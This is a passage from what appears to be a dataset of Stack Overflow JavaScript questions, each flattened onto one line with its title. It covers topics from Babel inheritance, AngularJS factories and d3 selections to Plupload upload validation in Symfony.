; shape.highlightAttributes = highlightAttributes ; shapesLayer.addRenderable ( shape ) ; // Create a layer manager for controlling layer visibility . var layerManger = new LayerManager ( wwd ) ; // Now set up to handle highlighting . var highlightController = new WorldWind.HighlightController ( wwd ) ; var myVar = setInterval ( myTimer , 5000 ) ; function myTimer ( ) { //Shape does n't move shape.center = new WorldWind.Location ( shape.center.latitude+1 , shape.center.longitude ) ; //Shape `` moves '' but is inefficient //shapesLayer.removeRenderable ( shape ) ; //shape = new WorldWind.SurfaceCircle ( new WorldWind.Location ( shape.center.latitude+1 , shape.center.longitude ) , 200e3 , attributes ) ; //shapesLayer.addRenderable ( shape ) ; console.log ( `` new pos `` +shape.center.latitude + `` `` +shape.center.longitude ) ; wwd.redraw ( ) ; } } ) ;",WebWorldWind Renderable Position Update "JS : Here is a textarea . ( IPv4 , Domain ) And I want to change IP value into another one.like this , I guess it will be likePlease help me . I just wan na learn regular expressions.. thanks . 96.17.109.65 fox.com 74.125.71.106 fox.com $ ( 'textarea ' ) .find ( 'some regular expressions.. ' ) .val ( 'another one ... ' ) ;",How to get IP value from textarea with regular expression "JS : Posting the following code into the Babel REPLyou get this inherits functionIt looked fine to me until I realized it was doing both Object.create on the prototype and a setPrototypeOf call . I was n't that familiar with setPrototypeOf so I went to the MDN where it says : If you care about performance you should avoid setting the [ [ Prototype ] ] of an object . Instead , create a new object with the desired [ [ Prototype ] ] using Object.create ( ) .Which is confusing to me since they use both . Why is this the case ? Should the line instead befor when the prototype is unset , but it still has a __proto__ ? class Test { } class Test2 extends Test { } function _inherits ( subClass , superClass ) { if ( typeof superClass ! == `` function '' & & superClass ! == null ) { throw new TypeError ( `` Super expression must either be null or a function , not `` + typeof superClass ) ; } subClass.prototype = Object.create ( superClass & & superClass.prototype , { constructor : { value : subClass , enumerable : false , writable : true , configurable : true } } ) ; if ( superClass ) Object.setPrototypeOf ? Object.setPrototypeOf ( subClass , superClass ) : subClass.__proto__ = superClass ; } if ( superClass & & ! superClass.prototype )",Why does Babel use setPrototypeOf for inheritance when it already does Object.create ( superClass.prototype ) ? "JS : How can I transpile and build my typescript vue app with only babel ? I used the vue-cli-service extensively but reached a point where I just need a minimal setup , without webpack or anything.My .babelrcMy package.json dependencies : My entry main.ts file : My App.vueMy build script : { `` presets '' : [ `` babel-preset-typescript-vue '' ] , `` plugins '' : [ `` @ babel/plugin-transform-typescript '' ] } `` devDependencies '' : { `` @ babel/cli '' : `` ^7.10.5 '' , `` @ babel/plugin-transform-typescript '' : `` ^7.11.0 '' , `` @ babel/preset-env '' : `` ^7.11.0 '' , `` babel-loader '' : `` ^8.1.0 '' , `` babel-preset-env '' : `` ^1.7.0 '' , `` babel-preset-typescript-vue '' : `` ^1.1.1 '' , `` typescript '' : `` ~3.9.3 '' , `` vue-template-compiler '' : `` ^2.6.11 '' } , '' dependencies '' : { `` vue '' : `` ^2.6.12 '' , `` vue-class-component '' : `` ^7.2.3 '' , `` vue-property-decorator '' : `` ^8.4.2 '' , `` vuex '' : `` ^3.5.1 '' } import Vue from 'vue'import Vuex from 'vuex ' ; import App from './App.vue'Vue.config.productionTip = false ; Vue.use ( Vuex ) ; new Vue ( { render : h = > h ( App ) } ) . $ mount ( ' # app ' ) ; < script lang= '' ts '' > import { Component , Vue } from 'vue-property-decorator ' ; @ Component class App extends Vue { } export default App ; < /script > < template > < div class= '' foobar '' > Babel worked < /div > < /template > babel src/main.ts -- out-dir build",Build typescript vue apps with only babel ? "JS : I 'm trying to access a nested function by passing the function name in as a string and then calling it . Eg , see this postHowever it does n't work . Error : How to make this work , or an alternative way of calling a nested function.The reason for this is that I am trying to hide a bunch of functions that are called by an iframe inside a functions scope . function outer ( action ) { window [ `` outer '' ] [ action ] ( ) ; function inner ( ) { alert ( `` hello '' ) ; } } outer ( `` inner '' ) ; window.outer [ action ] is not a function",Calling nested function when function name is passed as a string "JS : I have an array of objects . Then I want to add another object and stick it to the one that already existed in my array . Which means the index of the new object should be larger by one in relation to my already existed object and rest of the element 's indexes should be incremented by one . For example : I have array of 6 elementsMy new object is stick to existed object with index = 2New Object enters into an array with index = 3 and all objects with indexes previously greater then 2 now get one place higherI tried to split my array into two starting from index = 2 , push my new element , and then join and again but my code do not work well.in other words I have an array which looks like this : And I want to put there an external element to make it look this : for ( var i in myArray ) { if ( myArray [ i ] .name === inheritedRate.inherit ) { var tempArr = [ ] ; for ( var n = i ; n < myArray.length ; n++ ) { tempArr.push ( $ scope.myArray [ n ] ) ; myArray.splice ( n , 1 ) ; } myArray.push ( inheritedRate ) ; myArray.concat ( tempArr ) ; } } myArray = [ { name : `` not selected '' } , { name : `` not selected '' } , { name : `` selected '' } , { name : `` not selected '' } , { name : `` not selected '' } , { name : `` not selected '' } , ] myArray = [ { name : `` not selected '' } , { name : `` not selected '' } , { name : `` selected '' } , { name : `` new element '' } , // inserted { name : `` not selected '' } , { name : `` not selected '' } , { name : `` not selected '' } , ]",javascript change elements in array "JS : I am reading ramda documentationIt looks like a really useful function . I ca n't see what would be a use case for it.Thanks const madd3 = R.lift ( ( a , b , c ) = > a + b + c ) ; madd3 ( [ 1,2,3 ] , [ 1,2,3 ] , [ 1 ] ) ; //= > [ 3 , 4 , 5 , 4 , 5 , 6 , 5 , 6 , 7 ]",Can you give me an example of how to use Ramda lift ? "JS : I am absolutly new in AngularJS and I am studying it on a tutorial . I have a doubt related the use of the factory in Angular.I know that a factory is a pattern used to create objects on request . So in the example there is the following code : And this is the code , associated to this factoryController controller , inside the HTML page : So it is pretty clear for me that : The factoryController use the courseFactory factory because is is injectedThe first thing that happen when I open the page is that an alert mesage is shown because it is called the : Then put into the $ scope.courseName property ( inside the $ scope object ) the value of the **courseName field of the courseFactory JSON object ) .And here my first doubt . I have that the factory is defined by : that I think it means ( correct me if I am doing wrong assertion ) that my factory is named courseFactory and basically is a function that retutn the courseFactory JSON object.So this is creating me some confusion ( I came from Java ) because in Java I call a factory class and I obtain an instance of an object created by the factory . But in this case it seems to me that doing : it seems to me that the courseName is retrieved directly by the courseFactory JSON object and I am not using the courseFactory.How it exactly works ? Why I am not calling some getter on the factory ? ( or something like this ) // Creates values or objects on demandangular.module ( `` myApp '' ) // Get the `` myApp '' module created into the root.js file ( into this module is injected the `` serviceModule '' service.value ( `` testValue '' , `` AngularJS Udemy '' ) // Define a factory named `` courseFactory '' in which is injected the testValue.factory ( `` courseFactory '' , function ( testValue ) { // The factory create a `` courseFactory '' JSON object ; var courseFactory = { 'courseName ' : testValue , // Injected value 'author ' : 'Tuna Tore ' , getCourse : function ( ) { // A function is a valid field of a JSON object alert ( 'Course : ' + this.courseName ) ; // Also the call of another function } } ; return courseFactory ; // Return the created JSON object } ) // Controller named `` factoryController '' in which is injected the $ scope service and the `` courseFactory '' factory : .controller ( `` factoryController '' , function ( $ scope , courseFactory ) { alert ( courseFactory.courseName ) ; // When the view is shown first show a popupr retrieving the courseName form the factory $ scope.courseName = courseFactory.courseName ; console.log ( courseFactory.courseName ) ; courseFactory.getCourse ( ) ; // Cause the second alert message } ) ; < div ng-controller= '' factoryController '' > { { courseName } } < /div > alert ( courseFactory.courseName ) ; .factory ( `` courseFactory '' , function ( testValue ) $ scope.courseName = courseFactory.courseName ;",How exactly works this AngularJS factory example ? Some doubts "JS : I want every hapi route path to start with a prefix ( /api/1 ) without adding it to each route . Is this possible ? The following route should be available with path /api/1/pets and not /pets const Hapi = require ( 'hapi ' ) ; const server = new Hapi.Server ( ) ; server.route ( { method : 'GET ' , path : '/pets ' } )",Is it possible do define a global base path in hapi "JS : I was reading over the draft for ES6 , and I noticed this note in the Object.prototype.toString section : Historically , this function was occasionally used to access the string value of the [ [ Class ] ] internal property that was used in previous editions of this specification as a nominal type tag for various built-in objects . This definition of toString preserves the ability to use it as a reliable test for those specific kinds of built-in objects but it does not provide a reliable type testing mechanism for other kinds of built-in or program defined objects.From reading this thread on es-discuss , it sounds like [ [ Class ] ] is being replaced with [ [ NativeBrand ] ] in the ES6 draft so that they can specify it as being non-extensible ( those were at least Allen Wirfs-Brock 's thoughts ) .Curious , I ran a quick test in FireFox and Chrome ( with experimental JavaScript enabled ) : '' WeakMap '' is not one of the [ [ NativeBrand ] ] s specified in the ES6 draft . However , this test returned `` [ object WeakMap ] '' on both browsers.So I 'm confused . I have a few questions.1 . Do Chrome and Firefox behave correctly ? From one way of reading the draft it sounds like they should return [ object Object ] ( and all of this is pretty new , so I would n't be surprised to see this change in future editions of these browsers ) . However , it 's hard for me to understand the intention of this section of the draft , especially since there are some places with `` ? ? ? `` .Does anyone who has been following es-discuss more fervently have any relevant information ? Or anyone who can understand the draft language better ? 2 . Is there an alternative to Object.prototype.toString ? From the note quoted above it makes it sound as if Object.prototype.toString is retained for legacy reasons , as if there 's something new now that should be used instead . Especially the part of the node that reads `` it does not provide a reliable type testing mechanism for other kinds of built-in ... objects '' . Does that mean that future built-ins ca n't be tested with this method ? Let 's use a concrete example.If I want to ensure an object I have received from an unknown source is a String object ( an actual constructed String object , not a primitive string ) , I could do : This lets me know if unknownObject is a String object no matter what frame it was constructed in.My question is , should this be the approach I take moving forward into ES6 ? Or is there an alternative ? Something like Object.getNativeBrandOf ? 3 . Since [ [ NativeBrand ] ] seems like it wo n't include future types of objects , how would one test for these objects ? Will this work ? ... assuming Symbol is the eventual name for Private Names.Should I use this ? ... or something else ? The reason I ask is I am currently writing code that I want to be able to transition as easily as possible to ES6 in a year or two when possible . If there is a replacement for Object.prototype.toString , then I can just shim it in and continue from there . Thanks ! Updatebenvie 's answer provided me with the correct term to search for and understand the answer to my questions.I found an email from Allen Wirfs-Brock on es-discuss concerning this issue.Here 's what I found , for anyone else asking the same questions:1 . Do Chrome and Firefox behave correctly ? Yes , why is explained below.2 . Is there an alternative to Object.prototype.toString ? As it is now , there will be a couple `` alternatives '' in the sense of possibilities , but not in the sense of replacements.a . Using the @ @ toStringTag symbol . However , my understanding is that Object.prototype.toString should still probably be used . @ @ toStringTag is provided to allow extending the results that can be returned from Object.prototype.toString . If you have a prototype you would like to add your own string tag to , you could use @ @ toStringTag to set the value to any string . Object.prototype.toString will return this value except in the case where this value is one of the ES5 built-ins , in which case the string tag will be prepended with '~'.b . Using private symbols on user-defined objects . I read one email promoting this as the best way to do the same type of check on a user-defined object . However , I do n't see how that really settles the issue , as I fail to understand how it could be a cross-frame solution and it does n't let you check against ES6 built-ins.So even though there are some alternatives , it 's good to stick with Object.prototype.toString now and going forward , with one caveat : It 'll work to make sure you have an ES5 built-in , such as String , but it wo n't be fool-proof to make sure you have an ES6 built-in because they can be spoofed with @ @ toStringTag . I 'm not sure why this is , and I may be missing something , or it could change as the spec evolves.3 . Since [ [ NativeBrand ] ] seems like it wo n't include future types of objects , how would one test for these objects ? As mentioned above , Object.prototype.toString can still be used on ES6 built-ins , but it 's not fool-proof as it can be spoofed by anyone with access to the @ @ toStringTag symbol . However , maybe there should n't be a fool-proof method , since Object.prototype.toString ( weakmap ) == ' [ object WeakMap ] ' does n't mean that weakmap instanceof WeakMap ( and it should n't ! ) . The weakmap could have come from another frame , or it could be a user-created weakmap-like object . The only thing you really know is it reports to be functionally equivalent to a WeakMap.It does seem to beg the question why you ca n't have a user-defined object which reports to be functionally equivalent to a String or Array ( sans the prefixed `` ~ '' ) . Object.prototype.toString.apply ( new WeakMap ( ) ) ; = > ' [ object WeakMap ] ' if ( Object.prototype.toString.apply ( unknownObject ) ! = ' [ object String ] ' ) throw new TypeError ( 'String object expected . ' ) ; if ( Object.prototype.toString.apply ( unknownObject ) ! = ' [ object Symbol ] ' ) throw new TypeError ( 'Symbol expected . ' ) ; if ( Object.prototype.toString.apply ( unknownObject ) ! = ' [ object WeakMap ] ' ) throw new TypeError ( 'WeakMap expected . ' ) ;",Access [ [ NativeBrand ] ] / [ [ Class ] ] in ES6 ( ECMAScript 6 ) "JS : I have a quetion which may be simple/dumb or not : ) . In other words I have no idea if is fair enough or a completely foolish idea . Just some free thoughts.What if I make my login via JavaScript with pass in it ( yes I know ) , but pass will be hased by Secure Hash Algorithm . For instance : I generate a pass with SHA which looks like and paste into the code . There will be also two functions . One will compare two values ( given by me with user 's ) and second will generate sha form user 's input . Is this could be safe theoritically or this is a horrible pattern and stupid idea ? Can JS handle it ? EDIT : I did n't mean serious autentication like banking one . Just when I have my pics and want only to a few ppl to watch them and 99,9 % of ppl on earth ca n't watch them : ) thx for responses var = 0xc1059ed8 ... //etc",Password protected website with JavaScript "JS : So I am initializing a zingChart with the following code . The barchart is rendered correctly but the width does n't seem to much the parent div . I 've checked if anything is setting the height and width but nothing is.When I zoom in or out on the page ( ctrl + mouse scroll ) the chart automatically expands to fill the parent div ! Thank you , barChartData = `` type '' : '' bar '' `` series '' : [ `` values '' : [ 11,16,7 , -14,11,24 , -42,26 , ] ] $ ( `` # performance-bar-chart '' ) .zingchart ( data : barChartData )",Zingchart chart not filling parent div 's width "JS : I 'm trying to get the current date - 3 months and use it in a postman Pre-request script . I 'm told it uses javascript , but it does n't seem to be working.The error I get is : There was an error in evaluating the Pre-request Script : TypeError : startDate.setMonth is not a functionHere is what I have : // setup start datevar startDate = Date ( ) ; startDate.setMonth ( startDate.getMonth ( ) - 3 ) ;",get the date - 3 months "JS : I 'm using redux-starter-kit ( which includes Immer library for mutable updates ) and for some reason this reducer does n't work : But this one does : I would expect them to do the same thing . What is going on here ? reInitializeState ( state , action ) { state = Object.assign ( { } , initialState ) ; state.someProperty = true ; // this does not get set } , reInitializeState ( state , action ) { Object.assign ( state , initialState ) ; state.someProperty = true ; // this does } ,",Unexpected behavior of Object.assign ( ) in Immer in Redux "JS : I 've been learning about d3 , and I 'm a bit confused about selecting . Consider the following example : http : //bl.ocks.org/mbostock/1021841Specifically , let 's look at this line : In the documentation it says , `` A selection is an array of elements pulled from the current document . '' I interpret this to mean that svg.selectAll ( .node ) creates an array of elements of class .node pulled from the current document , but as far as I can tell there are no such elements ! Unless I 'm confused - and I 'm almost certain that I am - the only place in the document where something is given the class `` node '' is after the selection has already occurred ( when we write .attr ( `` class '' , `` node '' ) ) . So what is going on here ? What does svg.selectAll ( `` .node '' ) actually select ? var node = svg.selectAll ( `` .node '' ) .data ( nodes ) .enter ( ) .append ( `` circle '' ) .attr ( `` class '' , `` node '' ) .attr ( `` cx '' , function ( d ) { return d.x ; } ) .attr ( `` cy '' , function ( d ) { return d.y ; } ) .attr ( `` r '' , 8 ) .style ( `` fill '' , function ( d , i ) { return fill ( i & 3 ) ; } ) .style ( `` stroke '' , function ( d , i ) { return d3.rgb ( fill ( i & 3 ) ) .darker ( 2 ) ; } ) .call ( force.drag ) .on ( `` mousedown '' , function ( ) { d3.event.stopPropagation ( ) ; } ) ;",Basic d3 : why can you select things that do n't exist yet ? "JS : If I registered a time-consuming callback function to an event listener , and this event is fired twice in a short period . Will the second callback be blocked by the first one ? I tried this in browser : As the result , the second callback was executed right after the first one is done.So now I am confusing with the JavaScript non-blocking async module : which part has been executed asynchronously ? document.body.onclick = function ( ) { var date = new Date ; console.log ( 'click event at ' + date ) ; while ( new Date - date < 1e4 ) { } ; console.log ( 'callback end ' ) ; }",Is JavaScript callbacks blocking ? "JS : I use the JavaScript parser generator JISON to create a parser for some scripts that my users create . Lately I 've noticed that the parsing process on Firefox is by a large factor slower than on any other Browser my page supports ( IE10 , latest Chrome & Opera ) . After digging a little into the source of the generated parser I 've narrowed the problem down to one line of code which executes some regex to tokenize the code to parse . Of course this line is executed pretty often . I 've created a little test case with some random string ( ~ 1300 characters long ) and a pretty generic regex . This test case measures the average time it takes to execute the regex 10000 times ( Working example on JSFiddle ) : Following are the test results on my machine : Firefox 24 : Average time is between 370 & 450 ms for 10000 regex executionsChrome 30 , Opera 17 , IE 10 : Average time is between 0.3 & 0.6 msThis difference gets even larger if the string to test gets bigger . A 6000 character long string increases the average time in Firefox to ~ 1.5 seconds ( ! ) while the other browsers still need ~ 0.5 milliseconds ( ! ) ( Working example on JSFiddle with 6000 characters ) .Why is there such a big performance difference between Firefox and all other browsers and can I improve it anyhow ? Please note that I ca n't adjust the executed regexes themeselves because they are mostly generated by the parser generator and I do n't want to manually change the built parser code . $ ( document ) .ready ( function ( ) { var str = 'asdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ölkasjd flöaksjdf löask dfjkasdfasdfa asdfasdf asdf asdf asdfasödlfkja asldfkj asdölkfj aslödkjf aösldkfj ' , regex = new RegExp ( '^ ( [ 0-9 ] ) + ' ) , durations = [ ] , resHtml = 'Durations : ' , totalDuration = 0 , matches , start ; // Perform `` timing test '' 10 times to get some average duration for ( var i = 0 ; i < 10 ; i++ ) { // Execute regex 10000 times and see how long it takes start = window.performance.now ( ) ; for ( var j = 0 ; j < 10000 ; j++ ) { regex.exec ( str ) ; } durations.push ( window.performance.now ( ) - start ) ; } // Create output string and update DIV for ( var i = 0 ; i < durations.length ; i++ ) { totalDuration += durations [ i ] ; resHtml += ' < br > ' + i + ' : ' + ( parseInt ( durations [ i ] * 100 , 10 ) / 100 ) + ' ms ' ; } resHtml += ' < br > ========== ' ; resHtml += ' < br > Avg : ' + ( parseInt ( ( totalDuration / durations.length ) * 100 , 10 ) / 100 ) + ' ms ' ; $ ( ' # result ' ) .html ( resHtml ) ; } ) ;",Firefox bad RegEx performance "JS : I 've got a strange issue using bootstrap-sass and bootstrap-multiselect.Seems like bootstrap-sass event handlers block multiselect handlers for dropdown etc.This packages installed via bower : App built on django and python , so template that binds scripts to the page : binding script on a specific page using : crearing multiselect control : Nothing special . But when i try to use multiselect control on UI it does n't drop down . No errors in console.After some surfing through the code i figured that there are some event handlers that preventing multiselect handlers from executing : so , the tricky solution was to switch off the standard event handlers first on the page where multiselect used : Which seems a bit hacky and not the best solution to me.Are there native ways to resolve this conflict ? Thanx . 'bootstrap-sass-official # 3.3.1 ' , 'bootstrap-multiselect ' { % compress js % } < script src= '' { % static 'jquery/dist/jquery.js ' % } '' > < /script > < script src= '' { % static 'bootstrap-sass/assets/javascripts/bootstrap.js ' % } '' > < /script > { % endcompress % } { % block extrajs % } < script src= '' { { STATIC_URL } } bower_components/bootstrap-multiselect/dist/js/bootstrap-multiselect.js '' type= '' text/javascript '' charset= '' utf-8 '' > < /script > { % endblock % } $ ( '.multiselect ' ) .multiselect ( ) // APPLY TO STANDARD DROPDOWN ELEMENTS // =================================== $ ( document ) .on ( 'click.bs.dropdown.data-api ' , clearMenus ) .on ( 'click.bs.dropdown.data-api ' , '.dropdown form ' , function ( e ) { e.stopPropagation ( ) } ) .on ( 'click.bs.dropdown.data-api ' , toggle , Dropdown.prototype.toggle ) .on ( 'keydown.bs.dropdown.data-api ' , toggle , Dropdown.prototype.keydown ) .on ( 'keydown.bs.dropdown.data-api ' , ' [ role= '' menu '' ] ' , Dropdown.prototype.keydown ) .on ( 'keydown.bs.dropdown.data-api ' , ' [ role= '' listbox '' ] ' , Dropdown.prototype.keydown ) $ ( document ) .off ( 'click.bs.dropdown.data-api ' ) .off ( 'keydown.bs.dropdown.data-api ' )",bootstrap-sass multiselect event conflict "JS : How do I perform a proper string search and replace in JavaScript with absolutely no REGEX involved ? I know the docs say that if the first argument to String.prototype.replace ( ) is a string , rather than a regex , then it will do a literal replace . Practice shows that is NOT entirely true : OKStill OKNOT OK ! Where 's the second dollar sign ? Is it looking for something like $ 1 to replace with a match from the REGEX ... that was never used ? I 'm very confused and frustrated , any ideas ? `` I am a string '' .replace ( 'am ' , 'are ' ) -- > `` I are a string '' `` I am a string '' .replace ( 'am ' , 'ar $ e ' ) -- > `` I ar $ e a string '' `` I am a string '' .replace ( 'am ' , 'ar $ $ e ' ) -- > `` I ar $ e a string ''","How to do a `` raw '' string search and replace in JavaScript , no REGEX" "JS : Do n't first class functions mean that they behave as variables ? Clearly they do n't behave exactly like variables though , since this : ... does n't work , whereas this : ... does.That said , this : does n't work , which is more consistent.What gives ? console.log ( foo ) ; var foo = 'bar ' ; console.log ( foo ( ) ) ; function foo ( ) { return ( 'bar ' ) ; } console.log ( foo ( ) ) ; var foo = function ( ) { return 'bar ' ; } ;","If functions in JS are first-class , what allows them to be called before they are defined ?" "JS : $ .trim ( ) uses the following RegExp to trim a string : As it turns out , this can be pretty ugly , Example : This code hangs Firefox and Chrome , it just takes like forever . `` mystr '' contains whitespaces but mostly hex 160 ( A0 ) characters . This `` problem '' does only occur , if there is no prepending whitespace/A0 , but somewhere within the string . I have no clue why this happens.This expression : just works fine in all tested scenarios . Maybe a better pattern for that ? Source : http : //code.jquery.com/jquery-1.4.2.jsUPDATEIt looks like you ca n't copy & paste this example string , at some points those A0 characters are replaced . Firebug console will also replace the characters on pasting , you have to create your own string in a sepperate html file/editor to test this . /^ ( \s|\u00A0 ) +| ( \s|\u00A0 ) + $ /g var mystr = ' some test -- more text new test xxx ' ; mystr = mystr.replace ( /^ ( \s|\u00A0 ) +| ( \s|\u00A0 ) + $ /g , `` '' ) ; /^ [ \n\r\t \xA0 ] +| [ \n\r\t \xA0 ] $ /g","jQuerys $ .trim ( ) , bug or poorly written ?" "JS : I 'm trying to find a way to document AMD modules using JSDoc3.Sadly none of the patterns listed on http : //usejsdoc.org/howto-commonjs-modules.html work for me.How can I generate a proper documentation that lists the parameters and return value of the function exported by the module ? /** * Module description . * * @ module path/to/module */define ( [ 'jquery ' , 'underscore ' ] , function ( jQuery , _ ) { /** * @ param { string } foo Foo-Description * @ param { object } bar Bar-Description */ return function ( foo , bar ) { // insert code here } ; } ) ;",JSDoc3 : How to document a AMD module that returns a function "JS : I 'm learning JavaScript . I wrote this code to learn the map function . But then I got confused as to why is this not mapping over it continuously as with each map sequence a new element is pushed to the array . Should n't it continue to push new elements as it is mapping over ? Why does the map function only run for the original three elements and not for the new pushed ones ? I tried to debug it in the node environment and the arr variable goes in a closure . I know what a closure but I 'm not able to understand what is going on here.I expect that the output should be 1,2,3,10,10,10,10,10,10,10,10 ... ... 10But the actual output is only 1,2,3 . let array = [ 1 , 2 , 3 ] ; array.map ( ( element ) = > { array.push ( 10 ) ; console.log ( element ) ; } ) ;",Why is this JavaScript map NOT an Infinite Loop ? "JS : INTRODUCTION : In order to upload multiple files to the server I am using : Symfony v3.2.6OneUpUploaderBundleOneUpFlysystemBundlePlupload file uploading library jQuery UI Widget versionNOTE 1 : Please note that : this configuration works for single and multiple file uploads , but it does not return any response when ValidationException is thrown ! NOTE 2 : In order to know that upload of a file finished successfully I added response to part of my UploadListener : It gives following response ( if there was no error with file upload ) TARGET : I would like to receive response with corresponding error when ValidationException is thrown.example : PROBLEM : I am using validator to restrict some uploadable files.At the moment - files that validator restricts are not uploaded ( ValidationException is being thrown ) . Yet no response is sent to the client/browser on this occasion ! I do not know how to make Plupload and Symfony3 return errors after ValidationException to client/browser.CODE : Validation Listener : Twig template with JavaScript : UPDATEAdded current code to the questionPluploadErrorHandler.phperrorhandler.xmlQUESTION : What am I missing ? public function onUpload ( PreUploadEvent $ event ) { $ file = $ event- > getFile ( ) ; $ response = $ event- > getResponse ( ) ; $ message = [ 'error ' = > 'none ' ] ; $ response- > addToOffset ( $ message , array ( 'files ' ) ) ; } response : { `` files '' : [ { `` error '' : `` none '' } ] } response : { `` files '' : [ { `` error '' : `` error code '' } ] } < ? phpnamespace AppBundle\EventListener ; use Oneup\UploaderBundle\Event\ValidationEvent ; use Oneup\UploaderBundle\Uploader\Exception\ValidationException ; use Symfony\Component\DependencyInjection\ContainerInterface as Container ; class AllowedMimeTypeValidationListener { /** * @ var Container */ private $ container ; private $ file_extension_array = [ ] ; private $ file_type_array = [ ] ; private $ banned_files = [ ] ; public function __construct ( Container $ container ) { $ this- > container = $ container ; } public function onValidate ( ValidationEvent $ event ) { $ ultra_helpers = $ this- > container- > get ( 'app.ultra_helpers ' ) ; $ ultra_text = $ this- > container- > get ( 'app.ultra_text ' ) ; array_push ( $ this- > file_extension_array , '.gif ' ) ; array_push ( $ this- > file_extension_array , '.jpg ' ) ; array_push ( $ this- > file_extension_array , '.jpeg ' ) ; array_push ( $ this- > file_extension_array , '.png ' ) ; array_push ( $ this- > file_extension_array , '.zip ' ) ; array_push ( $ this- > file_extension_array , '.7z ' ) ; array_push ( $ this- > file_extension_array , '.pdf ' ) ; array_push ( $ this- > file_extension_array , '.bin ' ) ; array_push ( $ this- > file_extension_array , '.txt ' ) ; array_push ( $ this- > file_type_array , 'image/gif ' ) ; array_push ( $ this- > file_type_array , 'image/jpg ' ) ; array_push ( $ this- > file_type_array , 'image/jpeg ' ) ; array_push ( $ this- > file_type_array , 'image/png ' ) ; array_push ( $ this- > file_type_array , 'application/zip ' ) ; array_push ( $ this- > file_type_array , 'application/x-7z-compressed ' ) ; array_push ( $ this- > file_type_array , 'application/pdf ' ) ; array_push ( $ this- > file_type_array , 'application/octet-stream ' ) ; array_push ( $ this- > file_type_array , 'text/plain ' ) ; array_push ( $ this- > banned_files , 'do_not_allow_me_1.txt ' ) ; array_push ( $ this- > banned_files , 'do_not_allow_me_2.txt ' ) ; array_push ( $ this- > banned_files , 'do_not_allow_me_3.txt ' ) ; $ file = $ event- > getFile ( ) ; $ file_extension = '. ' . $ file- > getExtension ( ) ; $ file_mime_type = $ file- > getMimeType ( ) ; $ full_file_name = $ file- > getClientOriginalName ( ) if ( in_array ( $ full_file_name , $ this- > banned_files ) ) { throw new ValidationException ( 'error.file_exists ' ) ; } // Is file mime type the same as extension mime type $ mime_type_position = array_search ( $ file_extension , $ this- > file_extension_array ) ; if ( $ mime_type_position ! == false ) { $ mime_type_by_extension = $ this- > file_type_array [ $ mime_type_position ] ; if ( $ mime_type_by_extension ! == $ file_mime_type ) { throw new ValidationException ( 'error.mime_type_mismatch ' ) ; } } // Is file type not in activated file type array if ( ! in_array ( $ file_mime_type , $ this- > file_type_array ) ) { throw new ValidationException ( 'error.forbidden_mime_type ' ) ; } } } { % extends 'base.html.twig ' % } { % block stylesheets % } { { parent ( ) } } < link type= '' text/css '' rel= '' stylesheet '' href= '' { { asset ( 'js/plupload/jquery-ui-1.12.1/jquery-ui.css ' ) } } '' / > < link type= '' text/css '' rel= '' stylesheet '' href= '' { { asset ( 'js/plupload/jquery.ui.plupload/css/jquery.ui.plupload.css ' ) } } '' media= '' screen '' / > { % endblock % } { % block content % } < div id= '' box-upload '' > < div id= '' uploader '' > < p > Your browser does n't have HTML5 support. < /p > < /div > < /div > { % endblock % } { % block javascripts % } < script type= '' text/javascript '' src= '' { { asset ( 'js/browserplus/browserplus.js ' ) } } '' > < /script > < script type= '' text/javascript '' src= '' { { asset ( 'js/plupload/plupload.full.min.js ' ) } } '' > < /script > < script type= '' text/javascript '' src= '' { { asset ( 'js/jquery-2.2.4.js ' ) } } '' > < /script > < script type= '' text/javascript '' src= '' { { asset ( 'js/plupload/jquery-ui-1.12.1/jquery-ui.js ' ) } } '' > < /script > < script type= '' text/javascript '' src= '' { { asset ( 'js/plupload/jquery.ui.plupload/jquery.ui.plupload.js ' ) } } '' > < /script > < script type= '' text/javascript '' src= '' { { asset ( 'js/plupload/i18n/lv.js ' ) } } '' > < /script > < script type= '' text/javascript '' > 'use strict ' ; $ ( function ( ) { var uploader ; uploader = $ ( `` # uploader '' ) ; uploader.plupload ( { // General settings runtimes : 'html5 ' , url : `` { { oneup_uploader_endpoint ( 'gallery ' ) } } '' , multi_selection : true , // Maximum file size max_file_size : '5mb ' , chunk_size : '5mb ' , // Specify what files to browse for filters : [ { title : `` Binary files '' , extensions : `` bin '' } , { title : `` Image files '' , extensions : `` gif , jpg , jpeg , png '' } , { title : `` Media files '' , extensions : `` avi '' } , { title : `` Pdf files '' , extensions : `` pdf '' } , { title : `` Text files '' , extensions : `` txt '' } , { title : `` Zip files '' , extensions : `` zip,7z '' } ] , // Rename files by clicking on their titles rename : true , // Sort files sortable : true , // Enable ability to drag ' n'drop files onto the widget ( currently only HTML5 supports that ) dragdrop : true , // Views to activate views : { list : true , thumbs : false , // Show thumbs active : 'list ' } } ) ; var $ uploader = uploader.plupload ( 'getUploader ' ) ; // Add Clear Button var $ button = $ ( `` < button > '' + plupload.translate ( `` Clear list '' ) + `` < /button > '' ) .button ( { icons : { primary : `` ui-icon-trash '' } } ) .button ( `` disable '' ) .appendTo ( 